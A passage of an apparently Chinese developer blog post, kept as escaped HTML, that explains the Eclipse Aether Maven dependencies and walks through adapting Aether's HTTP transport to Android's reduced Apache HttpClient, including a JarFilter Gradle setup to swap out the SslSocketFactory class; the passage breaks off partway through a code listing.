class=\"hljs-name\"\u003eversion\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-tag\"\u003e\u0026lt;/\u003cspan class=\"hljs-name\"\u003edependency\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-tag\"\u003e\u0026lt;\u003cspan class=\"hljs-name\"\u003edependency\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-tag\"\u003e\u0026lt;\u003cspan class=\"hljs-name\"\u003egroupId\u003c/span\u003e\u0026gt;\u003c/span\u003eorg.eclipse.aether\u003cspan class=\"hljs-tag\"\u003e\u0026lt;/\u003cspan class=\"hljs-name\"\u003egroupId\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-tag\"\u003e\u0026lt;\u003cspan class=\"hljs-name\"\u003eartifactId\u003c/span\u003e\u0026gt;\u003c/span\u003eaether-util\u003cspan class=\"hljs-tag\"\u003e\u0026lt;/\u003cspan class=\"hljs-name\"\u003eartifactId\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-tag\"\u003e\u0026lt;\u003cspan class=\"hljs-name\"\u003eversion\u003c/span\u003e\u0026gt;\u003c/span\u003e$\u0026#123;aetherVersion\u0026#125;\u003cspan class=\"hljs-tag\"\u003e\u0026lt;/\u003cspan class=\"hljs-name\"\u003eversion\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-tag\"\u003e\u0026lt;/\u003cspan class=\"hljs-name\"\u003edependency\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-tag\"\u003e\u0026lt;\u003cspan class=\"hljs-name\"\u003edependency\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-tag\"\u003e\u0026lt;\u003cspan class=\"hljs-name\"\u003egroupId\u003c/span\u003e\u0026gt;\u003c/span\u003eorg.eclipse.aether\u003cspan class=\"hljs-tag\"\u003e\u0026lt;/\u003cspan class=\"hljs-name\"\u003egroupId\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-tag\"\u003e\u0026lt;\u003cspan class=\"hljs-name\"\u003eartifactId\u003c/span\u003e\u0026gt;\u003c/span\u003eaether-impl\u003cspan class=\"hljs-tag\"\u003e\u0026lt;/\u003cspan class=\"hljs-name\"\u003eartifactId\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-tag\"\u003e\u0026lt;\u003cspan class=\"hljs-name\"\u003eversion\u003c/span\u003e\u0026gt;\u003c/span\u003e$\u0026#123;aetherVersion\u0026#125;\u003cspan class=\"hljs-tag\"\u003e\u0026lt;/\u003cspan class=\"hljs-name\"\u003eversion\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-tag\"\u003e\u0026lt;/\u003cspan class=\"hljs-name\"\u003edependency\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-tag\"\u003e\u0026lt;\u003cspan class=\"hljs-name\"\u003edependency\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-tag\"\u003e\u0026lt;\u003cspan class=\"hljs-name\"\u003egroupId\u003c/span\u003e\u0026gt;\u003c/span\u003eorg.eclipse.aether\u003cspan class=\"hljs-tag\"\u003e\u0026lt;/\u003cspan class=\"hljs-name\"\u003egroupId\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-tag\"\u003e\u0026lt;\u003cspan class=\"hljs-name\"\u003eartifactId\u003c/span\u003e\u0026gt;\u003c/span\u003eaether-connector-basic\u003cspan class=\"hljs-tag\"\u003e\u0026lt;/\u003cspan class=\"hljs-name\"\u003eartifactId\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-tag\"\u003e\u0026lt;\u003cspan class=\"hljs-name\"\u003eversion\u003c/span\u003e\u0026gt;\u003c/span\u003e$\u0026#123;aetherVersion\u0026#125;\u003cspan class=\"hljs-tag\"\u003e\u0026lt;/\u003cspan class=\"hljs-name\"\u003eversion\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-tag\"\u003e\u0026lt;/\u003cspan class=\"hljs-name\"\u003edependency\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-tag\"\u003e\u0026lt;\u003cspan class=\"hljs-name\"\u003edependency\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-tag\"\u003e\u0026lt;\u003cspan class=\"hljs-name\"\u003egroupId\u003c/span\u003e\u0026gt;\u003c/span\u003eorg.eclipse.aether\u003cspan class=\"hljs-tag\"\u003e\u0026lt;/\u003cspan class=\"hljs-name\"\u003egroupId\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-tag\"\u003e\u0026lt;\u003cspan class=\"hljs-name\"\u003eartifactId\u003c/span\u003e\u0026gt;\u003c/span\u003eaether-transport-file\u003cspan class=\"hljs-tag\"\u003e\u0026lt;/\u003cspan class=\"hljs-name\"\u003eartifactId\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-tag\"\u003e\u0026lt;\u003cspan class=\"hljs-name\"\u003eversion\u003c/span\u003e\u0026gt;\u003c/span\u003e$\u0026#123;aetherVersion\u0026#125;\u003cspan class=\"hljs-tag\"\u003e\u0026lt;/\u003cspan class=\"hljs-name\"\u003eversion\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-tag\"\u003e\u0026lt;/\u003cspan class=\"hljs-name\"\u003edependency\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-tag\"\u003e\u0026lt;\u003cspan class=\"hljs-name\"\u003edependency\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-tag\"\u003e\u0026lt;\u003cspan class=\"hljs-name\"\u003egroupId\u003c/span\u003e\u0026gt;\u003c/span\u003eorg.eclipse.aether\u003cspan class=\"hljs-tag\"\u003e\u0026lt;/\u003cspan class=\"hljs-name\"\u003egroupId\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-tag\"\u003e\u0026lt;\u003cspan class=\"hljs-name\"\u003eartifactId\u003c/span\u003e\u0026gt;\u003c/span\u003eaether-transport-http\u003cspan class=\"hljs-tag\"\u003e\u0026lt;/\u003cspan class=\"hljs-name\"\u003eartifactId\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-tag\"\u003e\u0026lt;\u003cspan class=\"hljs-name\"\u003eversion\u003c/span\u003e\u0026gt;\u003c/span\u003e$\u0026#123;aetherVersion\u0026#125;\u003cspan class=\"hljs-tag\"\u003e\u0026lt;/\u003cspan class=\"hljs-name\"\u003eversion\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-tag\"\u003e\u0026lt;/\u003cspan class=\"hljs-name\"\u003edependency\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-tag\"\u003e\u0026lt;\u003cspan class=\"hljs-name\"\u003edependency\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-tag\"\u003e\u0026lt;\u003cspan class=\"hljs-name\"\u003egroupId\u003c/span\u003e\u0026gt;\u003c/span\u003eorg.eclipse.aether\u003cspan class=\"hljs-tag\"\u003e\u0026lt;/\u003cspan class=\"hljs-name\"\u003egroupId\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-tag\"\u003e\u0026lt;\u003cspan class=\"hljs-name\"\u003eartifactId\u003c/span\u003e\u0026gt;\u003c/span\u003eaether-transport-wagon\u003cspan class=\"hljs-tag\"\u003e\u0026lt;/\u003cspan class=\"hljs-name\"\u003eartifactId\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-tag\"\u003e\u0026lt;\u003cspan class=\"hljs-name\"\u003eversion\u003c/span\u003e\u0026gt;\u003c/span\u003e$\u0026#123;aetherVersion\u0026#125;\u003cspan class=\"hljs-tag\"\u003e\u0026lt;/\u003cspan class=\"hljs-name\"\u003eversion\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-tag\"\u003e\u0026lt;/\u003cspan class=\"hljs-name\"\u003edependency\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-tag\"\u003e\u0026lt;\u003cspan class=\"hljs-name\"\u003edependency\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-tag\"\u003e\u0026lt;\u003cspan class=\"hljs-name\"\u003egroupId\u003c/span\u003e\u0026gt;\u003c/span\u003eorg.apache.maven\u003cspan class=\"hljs-tag\"\u003e\u0026lt;/\u003cspan class=\"hljs-name\"\u003egroupId\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-tag\"\u003e\u0026lt;\u003cspan class=\"hljs-name\"\u003eartifactId\u003c/span\u003e\u0026gt;\u003c/span\u003emaven-aether-provider\u003cspan class=\"hljs-tag\"\u003e\u0026lt;/\u003cspan class=\"hljs-name\"\u003eartifactId\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-tag\"\u003e\u0026lt;\u003cspan class=\"hljs-name\"\u003eversion\u003c/span\u003e\u0026gt;\u003c/span\u003e$\u0026#123;mavenVersion\u0026#125;\u003cspan class=\"hljs-tag\"\u003e\u0026lt;/\u003cspan class=\"hljs-name\"\u003eversion\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-tag\"\u003e\u0026lt;/\u003cspan class=\"hljs-name\"\u003edependency\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-tag\"\u003e\u0026lt;\u003cspan class=\"hljs-name\"\u003edependency\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-tag\"\u003e\u0026lt;\u003cspan class=\"hljs-name\"\u003egroupId\u003c/span\u003e\u0026gt;\u003c/span\u003eorg.apache.maven.wagon\u003cspan class=\"hljs-tag\"\u003e\u0026lt;/\u003cspan class=\"hljs-name\"\u003egroupId\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-tag\"\u003e\u0026lt;\u003cspan class=\"hljs-name\"\u003eartifactId\u003c/span\u003e\u0026gt;\u003c/span\u003ewagon-ssh\u003cspan class=\"hljs-tag\"\u003e\u0026lt;/\u003cspan class=\"hljs-name\"\u003eartifactId\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-tag\"\u003e\u0026lt;\u003cspan class=\"hljs-name\"\u003eversion\u003c/span\u003e\u0026gt;\u003c/span\u003e$\u0026#123;wagonVersion\u0026#125;\u003cspan class=\"hljs-tag\"\u003e\u0026lt;/\u003cspan class=\"hljs-name\"\u003eversion\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-tag\"\u003e\u0026lt;/\u003cspan class=\"hljs-name\"\u003edependency\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cbr\u003e \u003cbr\u003e \u003cspan class=\"hljs-tag\"\u003e\u0026lt;/\u003cspan class=\"hljs-name\"\u003edependencies\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cbr\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上述依赖用途说明 *(摘自Aether Wiki)*:\u003c/p\u003e\u003cul\u003e\u003cli\u003eaether-api\u003cbr\u003e此Jar依赖包含了Aether interfaces,Aether系统的入口类是\u003cem\u003eorg.eclipse.aether.RepositorySystem\u003c/em\u003e。\u003c/li\u003e\u003cli\u003eaether-util\u003cbr\u003e如名,此依赖包含了许多工具类,并提供了常用系统组件。\u003c/li\u003e\u003cli\u003eaether-impl\u003cbr\u003e此依赖包含了仓库系统接口的实例化类。\u003cstrong\u003e除非在特殊情况下,需要自定义Aether系统的内部处理逻辑,或者需要手动协同一些功能,在程序的开发过程中不建议直接访问\u0026#x2F;操作此依赖中的任何类。\u003c/strong\u003e\u003c/li\u003e\u003cli\u003eaether-connector-basic\u003cbr\u003eArtifact到远程Repository的上传和下载是通过Repository connector实现的。 这一connector一部分通用,并将部分工作委托给可插拔的传输协议和repository layouts。 因此,需要明确的是,该connector本身无法访问任何repository,必需包含一个或多个传输模块才能组合为正常运行的系统。\u003c/li\u003e\u003cli\u003eether-transport-file\u003cbr\u003e此依赖提供了通过file或者URL访问repository的支持库。\u003c/li\u003e\u003cli\u003eaether-transport-http\u003cbr\u003e此依赖提供了访问基于http或者https协议的repository的支持库。\u003c/li\u003e\u003cli\u003eaether-transport-wagon\u003cbr\u003e此依赖基于Maven Wagon,通过已有Wagon providers来访问repository。\u003c/li\u003e\u003cli\u003ewagon-ssh\u003cbr\u003e此依赖项补充了前面提到的 aether-transport-wagon库,并添加了对使用 scp: 和 sftp: 方案进行传输的支持。 它包含在上面的 POM 片段中只是一个示例,可以使用任何符合需求的 Wagon provider;也可以根本不使用,此时,可以从依赖中删除 aether-transport-wagon。\u003c/li\u003e\u003cli\u003emaven-aether-provider\u003cbr\u003e此依赖提供了使用 Maven POM 作为Artifact descriptors并从中提取依赖关系信息。 此外,它还提供了对Maven Repository中使用的其他元数据(metadata)文件的处理。\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e\u003cstrong\u003e注意: Aether需要1.5及以上的JDK来编译及允许。\u003c/strong\u003e\u003c/p\u003e\u003ch2 id=\"针对Android的适配\"\u003e\u003ca href=\"#针对Android的适配\" class=\"headerlink\" title=\"针对Android的适配\"\u003e\u003c/a\u003e针对Android的适配\u003c/h2\u003e\u003cp\u003e适配问题其实很简单明了,只需要抓住主要矛盾:需要什么?有什么不同导致了需要的东西缺失?以什么方式来补全缺失?\u003c/p\u003e\u003cp\u003e从Jre上来看(暂且不论版本问题,毕竟Aether是个老项目,Java 1.5+即可),Android上的Jre与PC端的不同点主要在于Android上的Jre是针对Android的阉割优化版,大体内容不变,但是不包含许多javax包下的类,以及所有针对PC平台的类。\u003c/p\u003e\u003ch3 id=\"剖析:需要什么?有什么不同导致了需要的东西缺失?\"\u003e\u003ca href=\"#剖析:需要什么?有什么不同导致了需要的东西缺失?\" class=\"headerlink\" title=\"剖析:需要什么?有什么不同导致了需要的东西缺失?\"\u003e\u003c/a\u003e剖析:需要什么?有什么不同导致了需要的东西缺失?\u003c/h3\u003e\u003cp\u003e(当然,此文编造的是不断的尝试后的事后诸葛亮行为,解决问题的最好方式还是实践求真理,做个简单的demo并且不断地尝试了。)\u003c/p\u003e\u003cp\u003e我们仍从上述依赖配置中探索,首先针对Aether API、util、impl以及provider部分,因为只使用了基础的类,显然兼容度很高;然后,分析剩下的transport协议库,对于file部分没啥争议,毕竟Java 1.8之后才会考虑Path这个影响兼容性的东东,那么就是网络协议部分可能有问题了。\u003c/p\u003e\u003cp\u003e为了不纸上谈兵,我们先做一个简单的项目,并写一行,debug打包允许:\u003c/p\u003e\u003cfigure class=\"highlight java\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003ccode class=\"hljs java\"\u003e\u003cspan class=\"hljs-type\"\u003eDefaultServiceLocator\u003c/span\u003e \u003cspan class=\"hljs-variable\"\u003elocator\u003c/span\u003e \u003cspan class=\"hljs-operator\"\u003e=\u003c/span\u003e MavenRepositorySystemUtils.newServiceLocator();\u003cbr\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e果不其然,我们可以得到一个报错:\u003c/p\u003e\u003cfigure class=\"highlight txt\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003ccode class=\"hljs txt\"\u003ejava.lang.NoSuchMethodError:No direct method \u0026lt;init\u0026gt;(Ljavax/net/ssl/SSLSocketFactory;Lorg/apache/http/conn/ssl/X509HostnameVerifier;)V in class Lorg/apache/http/conn/ssl/SSLSocketFactory; or its super classes(declaration of \u0026#x27;org.apache.http.conn.ssl.SSLSocketFactory\u0026#x27; appears in /system/framework/framework.jar!classes3.dex)\u003cbr\u003e\u003cbr\u003eframework/framework.jar!classes3.dex)\u003cbr\u003e\u003cbr\u003eat org.eclipse.aether.transport.http.SslSocketFactory.\u0026lt;init(SslSocketFactory.java:57)\u003cbr\u003e\u003cbr\u003e...\u003cbr\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e原来是\u003cem\u003eorg.eclipse.aether.transport.http.SslSocketFactory\u003c/em\u003e的构造方法里面出现问题了,我们顺藤摸瓜看看为啥:\u003c/p\u003e\u003cp\u003e(在Android Studio内,切换到Project工程结构展示,展开External Libraries,进入org.eclipse.aether.transport-http包内查找)\u003c/p\u003e\u003cp\u003e\u003cem\u003eorg.eclipse.aether.transport.http.SslSocketFactory\u003c/em\u003e文件内容:\u003c/p\u003e\u003cfigure class=\"highlight java\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003ccode class=\"hljs java\"\u003e\u003cspan class=\"hljs-keyword\"\u003efinal\u003c/span\u003e \u003cspan class=\"hljs-keyword\"\u003eclass\u003c/span\u003e \u003cspan class=\"hljs-title class_\"\u003eSslSocketFactory\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003eextends\u003c/span\u003e \u003cspan class=\"hljs-title class_\"\u003eorg\u003c/span\u003e.apache.http.conn.ssl.SSLSocketFactory\u003cbr\u003e\u0026#123;\u003cbr\u003e...\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003eprivate\u003c/span\u003e \u003cspan class=\"hljs-title function_\"\u003eSslSocketFactory\u003c/span\u003e\u003cspan class=\"hljs-params\"\u003e( SSLSocketFactory socketfactory, X509HostnameVerifier hostnameVerifier,\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"hljs-params\"\u003e String[] cipherSuites, String[] protocols )\u003c/span\u003e\u003cbr\u003e \u0026#123;\u003cbr\u003e \u003cspan class=\"hljs-built_in\"\u003esuper\u003c/span\u003e( socketfactory, hostnameVerifier );\u003cbr\u003e \u003cbr\u003e \u003cspan class=\"hljs-built_in\"\u003ethis\u003c/span\u003e.cipherSuites = cipherSuites;\u003cbr\u003e \u003cspan class=\"hljs-built_in\"\u003ethis\u003c/span\u003e.protocols = protocols;\u003cbr\u003e \u0026#125;\u003cbr\u003e...\u003cbr\u003e\u0026#125;\u003cbr\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e其实在AS内可以看到这里已经显示报错了:\u003cbr\u003e\u003cimg src=\"/../images/aether_error_in_as.png\" alt=\"AS code error\"\u003e\u003c/p\u003e\u003cp\u003e显然是父类根本没这个构造方法。那么问题来了,为什么在PC上的JRE可以用,Android上的却不行了?查资料可知:\u003cbr\u003e\u003cimg src=\"/../images/apache_http_client_removal.png\" alt=\"apache_http_client_removal\"\u003e\u003c/p\u003e\u003cp\u003e原来是,Android这小子不识抬举,大大阉割了Apache Http提供的Android特别版,转向使用OKhttp了,导致使用不了大部分Apache Http API。\u003c/p\u003e\u003cp\u003e知道问题了那么解决方案是什么?\u003c/p\u003e\u003ch3 id=\"以什么方式来补全缺失?\"\u003e\u003ca href=\"#以什么方式来补全缺失?\" class=\"headerlink\" title=\"以什么方式来补全缺失?\"\u003e\u003c/a\u003e以什么方式来补全缺失?\u003c/h3\u003e\u003ch4 id=\"Try-1-导入-Apache-Http-Legacy-包-失败\"\u003e\u003ca href=\"#Try-1-导入-Apache-Http-Legacy-包-失败\" class=\"headerlink\" title=\"Try 1: 导入 Apache Http Legacy 包 (失败)\"\u003e\u003c/a\u003eTry 1: 导入 Apache Http Legacy 包 (失败)\u003c/h4\u003e\u003cp\u003e导入\u003cem\u003eorg.apache.http.legacy\u003c/em\u003e包,但是这么简单的办法当然是不行的,在许多设备上无法成功,很小一部分设备可以。(点名批评Homo OS based AOSP,就是它兼容性最差。)\u003c/p\u003e\u003ch4 id=\"Try-2-使用JarFilter替换不兼容类,改用兼容代码-失败\"\u003e\u003ca href=\"#Try-2-使用JarFilter替换不兼容类,改用兼容代码-失败\" class=\"headerlink\" title=\"Try 2: 使用JarFilter替换不兼容类,改用兼容代码 (失败)\"\u003e\u003c/a\u003eTry 2: 使用JarFilter替换不兼容类,改用兼容代码 (失败)\u003c/h4\u003e\u003cp\u003e\u003ca href=\"https://github.com/nekocode/JarFilterPlugin\"\u003eJarFilter\u003c/a\u003e是一个用于编译时替换所依赖Jar中指定类的Gradle Plugin。\u003c/p\u003e\u003cp\u003e于是有了以下操作:\u003c/p\u003e\u003cp\u003e1.使用JarFilter移除org.eclipse.aether.transport.http.SslSocketFactory\u003c/p\u003e\u003cp\u003e2.改用新自定义类,来适配安卓版的Apache Http,完成相关功能\u003c/p\u003e\u003ch5 id=\"实践\"\u003e\u003ca href=\"#实践\" class=\"headerlink\" title=\"实践\"\u003e\u003c/a\u003e实践\u003c/h5\u003e\u003cp\u003e首先,在app模块下的build.gradle文件内添加如下内容:\u003c/p\u003e\u003cfigure class=\"highlight groovy\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003ccode class=\"hljs groovy\"\u003eapply \u003cspan class=\"hljs-attr\"\u003eplugin:\u003c/span\u003e \u003cspan class=\"hljs-string\"\u003e\u0026quot;jar-filter\u0026quot;\u003c/span\u003e\u003cbr\u003e \u003cbr\u003ejarFilters \u0026#123;\u003cbr\u003e \u003cspan class=\"hljs-comment\"\u003e//兼容安卓版本的apache SSLSocketFactory\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-string\"\u003e\u0026quot;org.eclipse.aether:aether-transport-http:(.*)\u0026quot;\u003c/span\u003e \u0026#123;\u003cbr\u003e excludes = [\u003cbr\u003e \u003cspan class=\"hljs-string\"\u003e\u0026#x27;org/eclipse/aether/transport/http/SslSocketFactory.class\u0026#x27;\u003c/span\u003e,\u003cbr\u003e \u003cspan class=\"hljs-string\"\u003e\u0026#x27;org/eclipse/aether/transport/http/SslSocketFactory\\\\$(.*).class\u0026#x27;\u003c/span\u003e\u003cbr\u003e ]\u003cbr\u003e \u0026#125;\u003cbr\u003e\u0026#125;\u003cbr\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e再创建一个同名的替换类\u003cem\u003eorg.eclipse.aether.transport.http.SslSocketFactory\u003c/em\u003e,\u003c/p\u003e\u003cfigure class=\"highlight java\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e25\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e26\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e27\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e28\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e29\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e30\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e31\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e32\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e33\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e34\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e35\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e36\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e37\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e38\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e39\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e40\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e41\u003c/span\u003e\u003cbr\u003e\u003cspan 